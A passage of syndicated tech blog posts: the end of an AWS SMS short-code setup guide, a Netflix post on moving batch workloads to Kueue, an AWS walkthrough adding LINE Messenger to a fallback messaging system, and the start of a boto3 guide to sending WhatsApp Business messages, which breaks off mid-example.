    print("[PASS] HELP and STOP keywords configured")


def check_configuration_set():
    """Step 3: Verify configuration set exists."""
    response = client.describe_configuration_sets(
        ConfigurationSetNames=[CONFIG_SET_NAME]
    )
    assert len(response["ConfigurationSets"]) > 0, f"Configuration set {CONFIG_SET_NAME} not found"
    print(f"[PASS] Configuration set '{CONFIG_SET_NAME}' exists")


def check_pool_association():
    """Step 4: Verify pool exists and short code is associated to it."""
    response = client.describe_pools(PoolIds=[POOL_ID])
    assert len(response["Pools"]) > 0, f"Pool {POOL_ID} not found"

    # Verify short code is associated to the pool
    assoc_response = client.list_pool_origination_identities(PoolId=POOL_ID)
    identities = [
        oi["OriginationIdentity"]
        for oi in assoc_response["OriginationIdentities"]
    ]
    assert any(SHORT_CODE in oi for oi in identities), \
        f"Short code {SHORT_CODE} not associated with pool {POOL_ID}"
    print(f"[PASS] Pool '{POOL_ID}' exists and short code is associated")


if __name__ == "__main__":
    checks = [
        check_short_code_active,
        check_keywords_configured,
        check_configuration_set,
        check_pool_association,
    ]
    for check in checks:
        try:
            check()
        except Exception as e:
            print(f"[FAIL] {check.__doc__} - {e}")
            sys.exit(1)
    print("\nAll validation checks passed. Ready for production traffic.")

Cleaning up

If you created test resources while following this walkthrough, you can delete them through the AWS End User Messaging SMS console or with the API to avoid confusion with your production configuration. This includes a test configuration set, test pool, or test event destinations used for validation. Do not delete your production configuration set, pool, or keyword settings.

If you requested a test-level MPS increase or spending limit for validation, update these to your production values through a new support case before going live.

Quick reference checklist

Step Action Key API / Service
1 Verify short code is Active and test delivery SendTextMessage
2 Configure keywords and verify message compliance PutKeyword
3 Create configuration set with event destinations CreateConfigurationSet
4 Create pool and associate short code CreatePool, AssociateOriginationIdentity
5 Request MPS increase for expected throughput AWS Support
6 Request spending limit increase AWS Support
7 Restrict destination countries Console / UpdateAccount
8 Set up CloudWatch alarms and dashboards Amazon CloudWatch
9 Track OTP verification success (if applicable) SMS Feedback events
10 Set up cost visibility AWS Cost Explorer, AWS Budgets
11 Plan phased traffic migration Application-level routing
12 Validate production readiness and send All of the preceding

Conclusion

In this post, we walked through how to configure a newly provisioned SMS short code for production use with AWS End User Messaging SMS. The 12 steps cover keyword verification, message compliance, event monitoring, throughput planning, country restrictions, cost visibility, phased traffic migration, and a final production validation.

You can adapt the sequence to your specific use case and volume profile. For the full registration and application process, see A guide to SMS short codes with AWS End User Messaging. To start configuring, navigate to the AWS End User Messaging SMS console. For the full API reference, see the AWS End User Messaging SMS documentation.


About the author

How Netflix Simplified Batch Compute with Kueue

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/how-netflix-simplified-batch-compute-with-kueue-87860682629c

By Alvin Bao, Alex Petrov, Jennifer Lai, Aidan Sherr, and Samartha Chandrashekar

As a part of the journey to transition Netflix’s compute infrastructure to be more Kubernetes-native, we have leaned into incorporating components from the Kubernetes ecosystem into our container platform Titus. One example of this is our use of Kueue, a cloud-native job queueing system for batch workloads, which has largely replaced the custom queuing and scheduling logic in our homegrown managed batch solution Compute Managed Batch (CMB). In this post, we’ll give an overview of what motivated the migration, how we migrated millions of batch jobs to use Kueue, and what Kueue allows us to offer as a Compute platform.

Brief Overview of CMB and Titus

CMB is a managed batch solution that allows users and applications to execute and manage workloads that run to completion. Using a tenant hierarchy, workloads are managed and queued with ordered execution through priorities, and capacity is managed on a per-tenant basis. Workloads that are submitted to CMB are then run on Titus. The features of Titus relevant to CMB are workload federation across multiple cells (Kubernetes clusters) and federated capacity reservations. This means CMB can talk to a single Titus endpoint to get/submit workloads and update capacity reservations without having to worry about the underlying cell/cluster topology.

CMB Tenant Hierarchy

Tenants provide a grouping mechanism for jobs submitted on behalf of certain organizations, platforms, or applications. Users can create and organize tenants however best suits their organization or use case. For example, an organization may use a single tenant across several applications or a complex hierarchical structure that matches its team and application ownership structure.

Tenants are associated with a capacity configuration. The capacity configuration defines the amount of compute capacity available to the tenant and provides certain guarantees around isolation from other tenants. The capacity configuration contains weight (used for fair sharing) and resource dimensions.

There are two types of tenants in CMB:

  1. Internal Tenants — meant to facilitate the creation of a tree of tenants. Internal tenants’ children can be both internal and leaf tenants. Internal tenants themselves do not accept work and thus do not have associated queues.
  2. Leaf Tenants — can accept work and have queues associated with them. Leaf tenants cannot have any children.

With regards to capacity configuration, tenants can use 2 types of capacity:

Reserved Capacity

For internal tenants, if a user specifies reserved capacity, it is fair-shared across the subtree and usable by the leaf tenants under that internal tenant.

For leaf tenants, if a user specifies reserved capacity, it partitions capacity within the hierarchy so that other tenants cannot reserve the same resources. Those reserved resources are not shared with any other tenant, ensuring throughput for a given leaf tenant.

Shared Capacity

The Compute team maintains a global pool of shared capacity that any tenant can burst into, in addition to its reserved capacity. Reservations are not required to use CMB, so a tenant can run out of shared capacity entirely. The pool is fair-shared across tenants, but in CMB, this applied only at admission: CMB had no preemption, so once a job was admitted, it ran to completion regardless of shifts in fair-share demand.

Kueue changes the semantics for both types of capacity, which the fair sharing and preemption section covers.

Here is an example of what a tenant hierarchy looks like:

CMB User/Application Workload Submission Flow

CMB User/Application Tenant Management Flow

Why Kueue?

CMB was created in 2018, before or alongside many of the open-source batch compute offerings available today. Over the years, as the Kubernetes ecosystem has evolved, many of the features that CMB offered or strived to offer have been included in these open source projects e.g., fair sharing, hierarchical tenants, capacity management, priority queuing. In addition, it became increasingly cumbersome to develop new features such as preemption when CMB was so far removed from the underlying Kubernetes cluster.

The team took a look at what it would take to modernize our batch abstraction and settled on Kueue for the following reasons:

  1. Unlike other options such as YuniKorn or Volcano, Kueue does not replace pod scheduling by the kube-scheduler, allowing integration with existing Titus scheduling profiles. Replacing Titus scheduler profiles can fragment job placement, potentially harming efficiency.
  2. Adoption momentum and pace of innovation.
  3. Kueue supports multi-tenant quota management over heterogeneous hardware.
  4. Kueue can operate on primitives such as v1.Pod and batch/v1.Job, and also supports higher-level abstractions such as RayJob / RayCluster for future extensibility.
  5. Kueue has native features that the team would have liked to implement in CMB, such as preemption, all-or-nothing scheduling, topology aware scheduling.

Migrating to Kueue

This initiative of migrating CMB workloads to Kueue became known as Netflix Batch. The key tenets of our migration were the following:

  1. Migration should require zero lift for CMB end users and be completely transparent to them
  2. No regressions in container launch rate and overall max throughput
  3. Replace CMB queuing and scheduling with Kueue

Netflix Batch User/Application Workload Submission Flow

The key difference between the old and new flows is that we defer queuing and scheduling to Kueue, which is enabled in each Kueue-enabled Titus cell. Titus federation routes the job to Kueue cells using our custom Kueue router.

Netflix Batch User/Application Tenant Management Flow

For us as operators, the migration was as simple as clicking a button on a tenant in our UI (as shown in the example above). This also allows us to easily rollback changes if there were issues.

Under the hood, this enrollment converts internal tenants to Cohorts and leaf tenants to a ClusterQueue + LocalQueue. The capacity configuration on a given tenant is converted into resource flavors and nominal quotas. The architecture for this looks as follows:

Lessons Learned

  1. Maintaining API parity with the existing system (vs exposing a new API surface) and migrating the underlying components as a first step derisked the project by unstacking bets while also ensuring we didn’t disrupt the customer experience.
  2. Don’t wait until the end to migrate the most complex use case. We decided early on to migrate our largest and most complex customer first. This allowed us to build confidence that we could later migrate other customers to Netflix Batch without issues, and resulted in the production migration lasting only 4 weeks.
  3. We had to run Kueue with much higher QPS, Burst, and groupKindConcurrency than the default configuration to meet our throughput needs. This was derisked early on by running load tests in a development environment that mimics Titus.

Current State of Kueue at Netflix

Kueue is fully rolled out in production, with it managing millions of batch workloads. In the future, we’re looking at options to enroll more of Titus batch workloads into this more managed experience. We have also productionized more fair sharing and preemptions to address better utilization of reserved capacity. In addition, our learnings are being leveraged by other internal teams, including those building Kubernetes-native training infrastructure, to inform their job scheduling and queuing configurations.

Fair Sharing and Preemption

With Kueue, Preemption-based Fair Sharing allows Netflix Batch to maintain reservation semantics while lending resources to other tenants when those reservations are not in use. In addition, preemption allows Netflix Batch to preempt lower-priority workloads for higher-priority workloads. For our customers, this means that tenants can use more idle capacity from reservations, submit more jobs without the risk of starvation, and have quicker turnaround times for business-critical workloads.

An example preemption configuration on a ClusterQueue that we would be using is as follows:

apiVersion: kueue.x-k8s.io/v1beta2
kind: ClusterQueue
metadata:
name: "team-a-cq"
spec:
preemption:
reclaimWithinCohort: Any
withinClusterQueue: LowerPriority

With these features deployed, Compute has seen a significant increase in average resource utilization.

Acknowledgement

This work would not have been possible without the great work of the entire Compute team at Netflix.


How Netflix Simplified Batch Compute with Kueue was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Adding LINE Messenger to your AWS omnichannel fallback solution

Post Syndicated from Rommel Sunga original https://aws.amazon.com/blogs/messaging-and-targeting/adding-line-messenger-to-your-aws-omnichannel-fallback-solution/

In this post, you will learn how to extend an existing omnichannel fallback solution by integrating LINE Messenger, including architecture updates, deployment steps, and testing procedures. The original solution, built with Amazon API Gateway, AWS Lambda, Amazon Simple Email Service (Amazon SES), and AWS End User Messaging, delivers messages across SMS, WhatsApp, and email with automatic fallback capabilities.

For more information about the original omnichannel fallback solution that this aims to extend to LINE, see the Enhancing Message Reach: An Omnichannel Approach Using WhatsApp, SMS, and Email with AWS.

Why LINE Messenger?

LINE is a popular messaging platform in Japan, Taiwan, and Thailand, with 181 million monthly active users across its primary markets, including 100 million in Japan alone (LY Corporation FY2025 Q3 earnings data). With an 84 percent DAU/MAU ratio (88 percent in Japan), LINE sees high daily engagement, making it a reliable channel for time-sensitive communications such as appointment reminders in healthcare, order and shipping notifications in ecommerce, and promotional campaigns in retail.

While other messaging platforms are popular in specific APAC markets (KakaoTalk in South Korea, WeChat in China, Zalo in Vietnam, Viber in the Philippines), LINE holds a strong position across Japan, Taiwan, and Thailand simultaneously, making it a high-impact addition to a multi-channel messaging strategy for those countries. By adding LINE to the omnichannel fallback solution, you can reach your audience on their preferred messaging channel in these key markets. You can use LINE as either a primary or fallback channel while maintaining the same fallback and broadcast patterns already available for other channels.

Cost note: LINE Messaging API pricing varies by country and plan. See the pricing pages for LINE Messaging API, Amazon Simple Email Service (Amazon SES), and Amazon End User Messaging for details on each channel.

Architecture overview

Adding LINE to your fallback solution means you can now cover four major messaging channels from a single API endpoint, giving you broader reach without added operational complexity. The LINE integration follows the same event-driven serverless pattern as the existing channels. The following diagram shows the key additions to the architecture.

Figure 1: Updated omnichannel architecture with LINE Messenger (new components highlighted)

You can now reach LINE users with two straightforward additions to the existing architecture:

LINE Messaging API Integration – The Primary and Secondary Handler Lambda functions now include a send_line module that calls the LINE Messaging API to deliver messages using the Push Message endpoint.

AWS Secrets Manager Integration – LINE channel credentials (access token and channel secret) are stored securely in AWS Secrets Manager and retrieved by Lambda functions with caching for performance.

How LINE integration works

The LINE Messenger integration extends the existing message processing pipeline, so you get the same reliable fallback behavior that you already have for email, SMS, and WhatsApp. The following sections describe how the system handles LINE messages and fallback scenarios.

Sending a LINE message

When you send a message with LINE as the primary or fallback channel, the flow follows the same pattern as other channels with LINE-specific handling:

  1. API Gateway receives the request and places it in the Primary Amazon Simple Queue Service (Amazon SQS) Queue.
  2. The Primary Handler Lambda detects the channel as “line” and invokes the send_line module.
  3. The send_line module retrieves LINE credentials from Secrets Manager (cached for performance) and sends a request to the LINE Messaging API Push Message endpoint. The Push Message API sends messages to LINE users without requiring the user to message first. The request body contains a to field with the recipient’s LINE User ID (a unique identifier assigned when a user follows your LINE Official Account) and a messages array with the message objects to deliver. The module validates the recipient LINE User ID against the expected format (a capital ‘U’ followed by 32 lowercase hexadecimal characters) before invoking the LINE API. Requests with malformed recipient IDs are rejected early and don’t reach the external API.
  4. The Lambda function records the message status in the Amazon DynamoDB table.
  5. If fallback is configured, the Lambda function enqueues the message to the Fallback Queue. This happens regardless of whether the LINE API call succeeds (HTTP 200) or fails (non-200 response, timeout, or exception). DynamoDB records the message status as delivered on success or failed on failure. The Secondary Handler checks DynamoDB and sends through the fallback channel if the status isn’t delivered.
  6. The Secondary Handler updates the DynamoDB status to sent_fallback.

How LINE differs from other channels

Aspect Email SMS WhatsApp LINE
API Amazon SES SendEmail API AWS End User Messaging SendTextMessage API AWS End User Messaging Social SendWhatsAppMessage API LINE Messaging API Push Message API
Authentication IAM roles IAM roles IAM roles Channel access token via Secrets Manager
External Message ID Mapping Not required. SES returns the same message ID in delivery callbacks Not required. SMS returns the same message ID in delivery callbacks. Required. WhatsApp returns a different platform message ID in delivery webhooks that must be mapped back to the internal AWS message ID. Not required. No delivery callbacks exist, so no message ID correlation is needed.
Credential Storage IAM (automatic) IAM (automatic) IAM (automatic) Secrets Manager (manual)
Delivery Tracking Async via SES delivery events (SNS callback updates DynamoDB) Async via End User Messaging events (SNS callback updates DynamoDB) Async via End User Messaging events (SNS callback updates DynamoDB) None. Status set to delivered immediately on 200 response from LINE API. No delivery webhook available for LINE Messaging API.

LINE uses an external API with its own authentication rather than AWS-native IAM authentication. This means you must manage credentials through AWS Secrets Manager rather than relying on AWS Identity and Access Management (IAM)-managed authentication. For more information, see the LINE Messaging API documentation.

LINE offers two distinct messaging products for businesses, LINE Messaging API, and LINE Official Notification.

  • The LINE Messaging API, which is the focus of this guide, supports two-way conversational messaging and is widely adopted across industries for use cases such as mobile ordering, loyalty programs, and customer engagement. LINE also offers LINE Official Notification (also known as LINE Notification Messages), a separate service designed for one-way transactional notifications such as shipping updates and appointment reminders, which requires business verification.
  • LINE Official Notification provides per-message delivery completion events, but the LINE Messaging API doesn’t. With the Messaging API, an HTTP 200 response confirms LINE accepted the message for delivery, and this is the most granular delivery signal available.

Creating a LINE Messaging API Channel

You need a LINE Messaging API Channel to authenticate and send messages through the LINE integration. The following steps walk you through creating one:

  1. Sign in to the LINE Developers Console. Create a personal LINE account if you don’t have one already and download the corresponding iOS/Android/PC application. This is required to test receiving LINE messages.
  2. Create a Provider (your company/org name).
  3. Create a new Messaging API channel under that provider.
  4. After you create the channel, enable the Messaging API from the LINE Official Account Manager page.
  5. From the channel settings, note the following:
    1. Channel access token (Messaging API tab, then select Issue)

    2. Channel secret (Basic settings tab)
  6. Disable Auto-reply and Greeting messages under Messaging API settings.

Deploying and testing

The repository includes a complete deployment guide with step-by-step instructions for deploying the CDK stack, configuring LINE credentials in AWS Secrets Manager, obtaining personal LINE user IDs, and running the integration test suite. The test suite automatically detects which channels are configured and runs the applicable tests. For full deployment and testing instructions, see the Deployment Guide in the repository.

Security considerations

Before deploying this solution to production, review the following considerations and adjust for your workload and compliance obligations.

Least-privilege IAM

The Lambda execution roles in the sample scope DynamoDB, Amazon SQS, and AWS Secrets Manager permissions to specific resource ARNs. The send actions for Amazon SES (ses:SendEmail, ses:SendTemplatedEmail), SMS (sms-voice:SendTextMessage), and WhatsApp (social-messaging:SendWhatsAppMessage) are granted on resources: [“*”] in this sample for simplicity, because the specific sending identities, phone pools, and WhatsApp business accounts are left configurable. For production, scope these further where the API supports it: SES allows identity-level ARNs (for example, arn:aws:ses:region:account:identity/example.com), and End User Messaging SMS supports pool and phone-number ARNs. When adapting this code, keep resource-level scoping for everything that supports it and review the AWS Well-Architected Security Pillar and Lambda execution role guidance for production deployments.

Rotating LINE credentials

LINE channel access tokens are long-lived and are issued and rotated manually through the LINE Developers Console; there’s no programmatic rotation API. Rotate the token periodically in line with your organization’s key-rotation policy (for example, every 90 days), update the Secrets Manager secret with the new value, and force a Lambda cold start (by redeploying the stack or updating a Lambda environment variable) so the cached credentials are refreshed.

Data protection and PII retention

The solution stores message metadata and recipient identifiers (including LINE User IDs, phone numbers, and email addresses) in Amazon DynamoDB. DynamoDB uses AWS-managed encryption at rest, Secrets Manager uses AWS Key Management Service (AWS KMS), and all outbound calls to the LINE API are made over HTTPS. Point-in-time recovery is enabled on the message table.

The sample doesn’t configure a DynamoDB Time-to-Live (TTL) attribute, so records persist indefinitely. For production, add a TTL attribute (for example, expiresAt) that matches your retention policy, and review whether the RemovalPolicy.RETAIN setting on the tables is appropriate for your environment. LINE User IDs, phone numbers, and email addresses are personally identifiable information under regulations including Japan’s APPI, the EU’s GDPR, and similar laws. Assess your retention obligations, data residency requirements, and processes for handling subject access and deletion requests for the regions you serve.

Conclusion

By adding LINE Messenger to the omnichannel fallback solution, you can now reach your customers across the four messaging channels that matter most: email, SMS, WhatsApp, and LINE. The integration follows the same serverless, event-driven patterns as the existing channels, making it straightforward to deploy and maintain. LINE can serve as either a primary or fallback channel, giving you the flexibility to tailor your messaging strategy to regional preferences. As a next step, consider adding other regional messaging services to further expand your reach. You can also explore advanced LINE features such as rich messages, quick replies, and Flex Messages to create more engaging customer interactions.

Resources


About the authors

Send WhatsApp Business messages with AWS End User Messaging Social

Post Syndicated from Rommel Sunga original https://aws.amazon.com/blogs/messaging-and-targeting/send-whatsapp-business-messages-with-aws-end-user-messaging-social/

WhatsApp reaches over 3 billion monthly active users worldwide — with more than 2 billion using it every day — making it the single most direct channel for customer communication at global scale. AWS End User Messaging Social gives you a managed API to send WhatsApp Business messages without building or maintaining your own WhatsApp Business API integration.

Whether you’re building appointment reminders, order notifications, or interactive customer support flows, with WhatsApp Business messaging, you can meet customers where they already communicate.

This post is for developers and solutions architects looking to integrate WhatsApp messaging into their customer engagement workflows using AWS. By the end, you will know how to send every supported message type—from straightforward text and media to templates, interactive menus, and WhatsApp Flows—using Python and the AWS End User Messaging Social API.

Solution overview

This solution uses AWS End User Messaging Social to connect your WhatsApp Business Account (WABA) with your AWS workloads, enabling automated, two-way messaging with your customers. When a customer sends a WhatsApp message to your WABA phone number, AWS End User Messaging Social receives the message and publishes an event to an Amazon Simple Notification Service (Amazon SNS) topic. Amazon SNS then invokes an AWS Lambda function. You configure this Lambda function to process the incoming message and send a contextual WhatsApp reply to the customer. The following diagram illustrates this architecture:

Figure A: Shows the architecture flow “Customer WhatsApp → End User Messaging Social → SNS → Lambda → End User Messaging Social → Response”

IMPORTANT: Note that any WhatsApp user can send a message to your WABA number and trigger the workflow. To avoid incurring ongoing charges, complete the steps in the “Clean up” section.

The solution is deployed using the AWS Serverless Application Model (AWS SAM) and includes a sample Lambda function that demonstrates how to handle common message types, send interactive list messages, and respond with templated replies. You can extend this foundation to build more sophisticated workflows, such as invoking AWS Step Functions for multi-step processes or routing messages to container-based workloads running on AWS. AWS End User Messaging Social also provides unified billing within AWS, streamlining cost management for your WhatsApp messaging workloads.

Prerequisites

Before you run any of the examples in this post, complete the following prerequisites:

  • A phone number to link a WABA.
  • Connect a verified WhatsApp Business Account (WABA) to AWS End User Messaging Social.
  • Install the AWS SDK for Python (Boto3).
  • Optionally, install the AWS Command Line Interface (AWS CLI) for template creation (otherwise the templates must be created within the AWS Console UI or Meta’s WhatsApp Manager).
  • A phone with WhatsApp Messenger app installed to test the solution. Note that the mobile app uses a different phone number than the one that is associated with your WABA.

This walkthrough typically takes 30–45 minutes, though actual time might vary based on your familiarity with AWS services and WhatsApp Business configuration.

If you’re new to AWS End User Messaging Social, see the Getting Started with WhatsApp guide before proceeding.

IAM permissions

To configure AWS End User Messaging Social, you will need several types of permissions depending on what you’re setting up. Here are the key permissions required:

Core AWS End User Messaging social permissions

For basic configuration and management, you will need permissions for the following actions:

  • social-messaging:AssociateWhatsAppBusinessAccount — to associate a WhatsApp Business Account with your AWS account
  • social-messaging:CreateWhatsAppMessageTemplate — to create WhatsApp message templates
  • social-messaging:ListLinkedWhatsAppBusinessAccounts — to list linked WhatsApp Business Accounts
  • social-messaging:GetWhatsAppMessageTemplate — to retrieve message template details
  • social-messaging:ListWhatsAppMessageTemplates — to list message templates

For event destinations (SNS integration)

If you’re configuring event destinations with Amazon SNS, your SNS topic must have a resource policy allowing the sms-voice.amazonaws.com service principal to publish to it, and you will need an AWS Identity and Access Management (IAM) role with a trust policy allowing social-messaging.amazonaws.com to assume it. For detailed setup instructions, see Configuring Event Destinations in the AWS End User Messaging Social User Guide.

For Amazon Connect integration

If integrating with Amazon Connect, the service-linked role (SLR) includes the following permissions:

  • social-messaging:SendWhatsAppMessage
  • social-messaging:PostWhatsAppMessageMedia
  • social-messaging:GetWhatsAppMessageMedia
  • social-messaging:GetLinkedWhatsAppBusinessAccountPhoneNumber

For more information, see Amazon Connect Service-Linked Role in the Amazon Connect Administrator Guide.

Additional considerations

  • If using encrypted SNS topics with AWS KMS, you will need additional AWS Key Management Service (AWS KMS) permissions for the service to generate and decrypt data keys.

Configuration

Create a config.json file in your project directory with the following structure to store the destination WhatsApp number and the origination phone number ID (for example, phone-number-id-a1b2c3d4######) that we’re sending messages from and receiving the message:

{
    "originationPhoneNumberId": "your-whatsapp-phone-number-id",
    "destinationPhoneNumber": "+1234567890"
}

Security note: The config.json file is intended for local testing only. In production environments, avoid hardcoding phone numbers and credentials. Instead, use AWS Secrets Manager, AWS Systems Manager Parameter Store, or environment variables to manage sensitive configuration values.

Each example builds a message_data payload and sends it using the following code:

import json
import boto3
import os

config_path = os.path.join(os.path.dirname(__file__), 'config.json')
with open(config_path, 'r') as f:
    config = json.load(f)

client = boto3.client('socialmessaging')
message_data = { ... }

response = client.send_whatsapp_message(
    message=json.dumps(message_data),
    originationPhoneNumberId=config['originationPhoneNumberId'],
    metaApiVersion="v20.0"
)
print(f"Message sent successfully! Response: {response}")

For production use, wrap the send call with error handling to manage throttling and failures gracefully:

try:
    result = client.send_whatsapp_message(
        message=json.dumps(message_data),
        originationPhoneNumberId=config['originationPhoneNumberId'],
        metaApiVersion="v20.0"
    )
    print(f"Message sent. ID: {result['messageId']}")
except client.exceptions.ThrottlingException as e:
    print(f"Rate limited. Retry after backoff: {e}")
except Exception as e:
    print(f"Failed to send message: {e}")

The following sections show only the message_data for each message type. To send any of these messages, use the shared sending code from the previous Configuration section—load config.json, create the Boto3 client, and call client.send_whatsapp_message() with the payload.

Text messages

Text messages are plain text communications sent within the 24-hour conversation window. They don’t require Meta template approval and support basic formatting.

Specifications and requirements

Text messages are the foundation of WhatsApp conversations. You can send up to 4,096 characters per message. Text messages don’t require Meta approval and work within an active 24-hour conversation window that opens when a customer messages your business first, or when you initiate contact using an approved template.

  • Maximum length: 4,096 characters (including spaces and formatting)
  • 24-hour window requirement: Can only be sent within 24 hours of last customer message
  • No WhatsApp template approval required

WhatsApp message example

The following image is a WhatsApp message example.

Code example

The following is a code example for the previous message.

message_data = {
    "messaging_product": "whatsapp",
    "to": config['destinationPhoneNumber'],
    "type": "text",
    "text": {
        "body": "For the Classic T-Shirt, we recommend size Medium based on your measurements. It runs true to size with a regular fit. Size Medium: Chest 38-40 inches, Length 28 inches."
    }
}

Media messages

With Media messages, you can send images, documents, audio, and video files.

Specifications and requirements

  • Images: Maximum 5 MB (JPEG, PNG)
  • Documents: Maximum 100 MB (PDF, DOC, DOCX, PPT, PPTX, XLS, XLSX)
  • Audio: Maximum 16 MB (AAC, MP4, AMR, MP3, OGG)
  • Video: Maximum 16 MB (MP4, 3GPP)

Note: Media uploaded to Meta is retained for 30 days. If you reuse media across messages (such as a company logo), use the external URL method or re-upload before sending. The examples in this post use external URLs.

Media (document) message example

The message is presented as a PDF with the provided message body in the following example.

Code example

The following is a code example for the previous message.

message_data = {
    "messaging_product": "whatsapp",
    "to": config['destinationPhoneNumber'],
    "type": "document",
    "document": {
        "link": "https://docs.aws.amazon.com/pdfs/social-messaging/latest/userguide/social-ug.pdf",
        "caption": "\U0001F4C4 Your invoice #12345 is ready. Payment due: January 31, 2024. Questions? Reply to this message.",
        "filename": "Invoice-12345.pdf"
    }
}

Media (image) message example

This media message includes an image with a message body in the following example to describe the image. In this case it shows a laptop available for purchase with a link included as part of the message body.

Code example

The following is a code example for the previous message.

message_data = {
    "messaging_product": "whatsapp",
    "to": config['destinationPhoneNumber'],
    "type": "image",
    "image": {
            "link": "https://signin.aws.amazon.com/v2/assets/_next/static/media/[email protected]",
            "caption": "Thanks for reaching out to AnyCompany! Here's the product image for the laptop you inquired about. Feel free to reply if you need more details."
    }
}

Template messages

Template messages enable business-initiated conversations outside the 24-hour window. Templates must be created and approved by Meta before use.

Text template message creation with parameters

Template creation using CLI

While it’s possible to create templates directly in the AWS End User Messaging Social console and in WhatsApp Manager’s UI, you can also use AWS End User Messaging Social to programmatically create templates using the AWS CLI.

Step 1 — Create a file named order_confirmation_template.json in your working directory with the following template definition.

{
    "name": "order_confirmation_template",
    "language": "en",
    "category": "UTILITY",
    "parameter_format": "named",
    "components": [
      {
        "type": "HEADER",
        "format": "TEXT",
        "text": "Order {{order_number}}",
        "example": {
          "header_text_named_params": [
            {"param_name": "order_number", "example": "ORD-2025-001"}
          ]
        }
      },
      {
        "type": "BODY",
        "text": "Hi {{customer_name}},\n\nYour order has been confirmed!\n\nItem: {{item_name}}\nTotal: {{total_amount}}\nEstimated Delivery: {{delivery_date}}\n\nThank you for shopping
  with us!",
        "example": {
          "body_text_named_params": [
            {"param_name": "customer_name", "example": "John Smith"},
            {"param_name": "item_name", "example": "Wireless Headphones"},
            {"param_name": "total_amount", "example": "$179.17"},
            {"param_name": "delivery_date", "example": "November 30, 2025"}
          ]
        }
      }
    ]
  }

Step 2 — Run the following CLI command to create the template. Note that the –template-definition parameter points to the local JSON file that contains the template structure:

aws socialmessaging create-whatsapp-message-template \

    --region [AWS_REGION] \
    --cli-binary-format raw-in-base64-out \
    --id [WABA_ID] \
    
--template-definition file://order_confirmation_template.json

Template creation using the console

AWS End User Messaging Social also features a built-in template management UI which you can use to create and manage templates directly within the AWS End User Messaging Social portion of the AWS Console under AWS End User messaging > Social Messaging > Message Templates. To create a new template, choose the Create Template button.

In the first screen, you can set your template name, template language and template type for your respective WhatsApp Business Account.

In the second screen, you can set the message content for the template including variables to dynamically populate when sending the message content.

Approved message templates can be seen under the message template screen along with their approval status.

Sending the template message

After your template is approved, you can send it with parameter values populated at send time.

Important: When sending the template message, you must use the same language and locale that you used when creating the template. For example, a language code of “en” isn’t the same as “en_US”.

message_data = {
    "messaging_product": "whatsapp",
    "to": config['destinationPhoneNumber'],
    "type": "template",
    "template": {
        "name": "order_confirmation_template",
        "language": {"code": "en"},
        "components": [
            {
                "type": "header",
                "parameters": [
                    {"type": "text", "parameter_name": "order_number", "text": "ORD-2025-001"}
                ]
            },
            {
                "type": "body",
                "parameters": [
                    {"type": "text", "parameter_name": "customer_name", "text": "John Smith"},
                    {"type": "text", "parameter_name": "item_name", "text": "Wireless Headphones"},
                    {"type": "text", "parameter_name": "total_amount", "text": "$179.17"},
                    {"type": "text", "parameter_name": "delivery_date", "text": "November 30, 2025"}
                ]
            }
        ]
    }
}

Location messages

Location messages share geographic coordinates with optional name and address information. For example, you can send a location for a store branch to a customer.

Create template message with CLI

Step 1 — Create a file named store_location_template.json in your working directory with the following template definition:

{
    "name": "store_location",
    "language": "en",
    "category": "UTILITY",
    "parameter_format": "named",
    "components": [
      {
        "type": "HEADER",
        "format": "LOCATION"
      },
      {
        "type": "BODY",
        "text": "Visit our {{store_name}} store!\n\nOperating Hours: {{hours}}\n\nSee you soon!",
        "example": {
          "body_text_named_params": [
            {"param_name": "store_name", "example": "Marina Bay Store"},
            {"param_name": "hours", "example": "10 AM - 10 PM"}
          ]
        }
      }
    ]
  }

Step 2 — Run the following CLI command to create the template. The –template-definition parameter references the JSON file that you previously created:

aws socialmessaging create-whatsapp-message-template \
    --region [AWS_REGION] \
    --cli-binary-format raw-in-base64-out \
    --id [WABA_ID] \

--template-definition file://store_location_template.json

Location message example

The following image is an example of a location message.

Code example

The following is a code example of the previous location message example.

message_data = {
    "messaging_product": "whatsapp",
    "to": config['destinationPhoneNumber'],
    "type": "template",
    "template": {
        "name": "store_location",
        "language": {
            "code": "en"
        },
        "components": [
            {
                "type": "header",
                "parameters": [
                    {
                        "type": "location",
                        "location": {
                            "latitude": "1.2838",
                            "longitude": "103.8591",
                            "name": "Marina Bay Sands",
                            "address": "10 Bayfront Ave, Singapore 018956"
                        }
                    }
                ]
            },
            {
                "type": "body",
                "parameters": [
                    {
                        "type": "text",
                        "parameter_name": "store_name",
                        "text": "Marina Bay Store"
                    },
                    {
                        "type": "text",
                        "parameter_name": "hours",
                        "text": "10 AM - 10 PM"
                    }
                ]
            }
        ]
    }
}

Interactive messages

Interactive messages provide pre-defined response options through buttons or lists. These messages must be sent within the 24-hour conversation window.

  • Structured responses – Pre-defined options ensure consistent data collection
  • Enhanced UX – One-tap interactions reduce friction and improve completion rates
  • 24-hour window requirement – Must be sent within active conversation windows

Quick reply buttons message

This example demonstrates collecting guest feedback using quick reply buttons for streamlined response collection.

Technical specifications:

  • Maximum three buttons per message
  • Button text limit: 20 characters
  • Buttons appear in a horizontal row on most devices

Quick reply buttons message example

The following image is an example of the Quick reply buttons message.

Code example

The following is a code example of the previous example image.

message_data = {
    "messaging_product": "whatsapp",
    "recipient_type": "individual",
    "to": config['destinationPhoneNumber'],
    "type": "interactive",
    "interactive": {
        "type": "button",
        "body": {
            "text": "\U0001F3E8 Thank you for staying with us! How would you rate your experience?"
        },
        "action": {
            "buttons": [
                {
                    "type": "reply",
                    "reply": {
                        "id": "excellent",
                        "title": "\u2B50 \u2B50 \u2B50 \u2B50 \u2B50 Excellent"
                    }
                },
                {
                    "type": "reply",
                    "reply": {
                        "id": "good",
                        "title": "\u2B50 \u2B50 \u2B50 \u2B50 Good"
                    }
                },
                {
                    "type": "reply",
                    "reply": {
                        "id": "needs_improvement",
                        "title": "\u2B50 \u2B50 Needs Work"
                    }
                }
            ]
        }
    }
}

List Message

This example shows a restaurant menu using list messages for organized, scrollable content presentation.

Technical specifications:

  • Max Options: Up to 10 rows total, which can be organized into 10 sections.
  • Button Text: Maximum 24 characters to open the menu.
  • Sections: A list can contain multiple sections (e.g., “Starters”, “Mains”).

List message example

The following is an image of a list message example.

When the user expands the list, they can select individual items to add to their cart.

Code example

The following is the code example for the previously mentioned example.

message_data = {
    "messaging_product": "whatsapp",
    "recipient_type": "individual",
    "to": config['destinationPhoneNumber'],
    "type": "interactive",
    "interactive": {
